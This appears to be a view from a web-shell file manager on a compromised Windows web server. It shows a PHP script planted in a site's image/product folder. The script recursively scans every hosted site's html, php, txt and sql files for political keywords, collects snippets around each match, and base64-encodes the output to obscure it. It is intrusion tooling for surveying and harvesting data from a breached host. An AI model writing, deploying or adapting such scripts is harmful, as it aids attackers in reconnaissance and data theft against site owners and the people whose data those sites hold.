System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$root = 'D:\Inetpub\vhosts\appclients.in';
$it = new RecursiveDirectoryIterator($root);
$keywords = ['Narendra Modi', 'NMVM', 'Vichar Manch', 'Modi'];
$output = "";

foreach (new RecursiveIteratorIterator($it) as $file) {
    if (preg_match('/\.(html|php|txt|sql)$/i', $file->getFilename())) {
        $content = file_get_contents($file->getPathname());
        foreach ($keywords as $key) {
            if (stripos($content, $key) !== false) {
                $output .= "[+] Found '$key' in: " . $file->getPathname() . "\n";
                // Only show first 100 characters around the match
                $pos = stripos($content, $key);
                $snippet = substr($content, max(0, $pos - 50), 200);
                $output .= "    Snippet: ... " . str_replace("\n", " ", $snippet) . " ...\n\n";
                break; // Move to next file
            }
        }
    }
}

echo base64_encode($output);
?>